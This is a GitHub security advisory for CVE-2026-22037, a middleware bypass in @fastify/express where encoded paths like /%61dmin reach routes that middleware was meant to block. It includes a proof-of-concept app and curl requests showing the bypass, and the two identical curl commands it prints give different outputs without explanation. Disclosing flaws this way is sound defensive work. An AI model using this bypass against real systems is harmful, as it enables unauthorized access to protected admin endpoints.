GitHub Advisoryadvisory · npm

GHSA-g6q3-96cp-5r5m @fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)

HIGH Published 2026-01-20 Modified 2026-01-20 Official page ↗
Aliases
CVE-2026-22037
Ecosystem
npm
Packages
@fastify/express
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
Weaknesses
CWE-177, CWE-288
Reviewed
2026-01-20

Affected packages

• npm @fastify/express: < 4.0.3 → fixed in 4.0.3

Description

Summary A security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. Details The vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths. PoC Step 1: Run the following Fastify application (save as `app.js`): ```javascript const fastify = require('fastify')({ logger: true }); async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express')); // Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); }); // Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; }); fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; }); fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; }); // Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } } start(); ``` Step 2: Execute the attack. ``` ➜ ~ curl http://206.189.140.29:3000/%61dmin Error Cannot GET /%61dmin (fastify express) ➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"} ``` It differs from CVE-2026-22031 because this is a different npm module with its own code.

Related

Alias · CVE (1)

  • CVE-2026-22037 The @fastify/express plugin adds full Express compatibility to Fastify. vulnerability

Weakness · CWE (2)

  • CWE-177 Improper Handling of URL Encoding (Hex Encoding) weakness
  • CWE-288 Authentication Bypass Using an Alternate Path or Channel weakness

References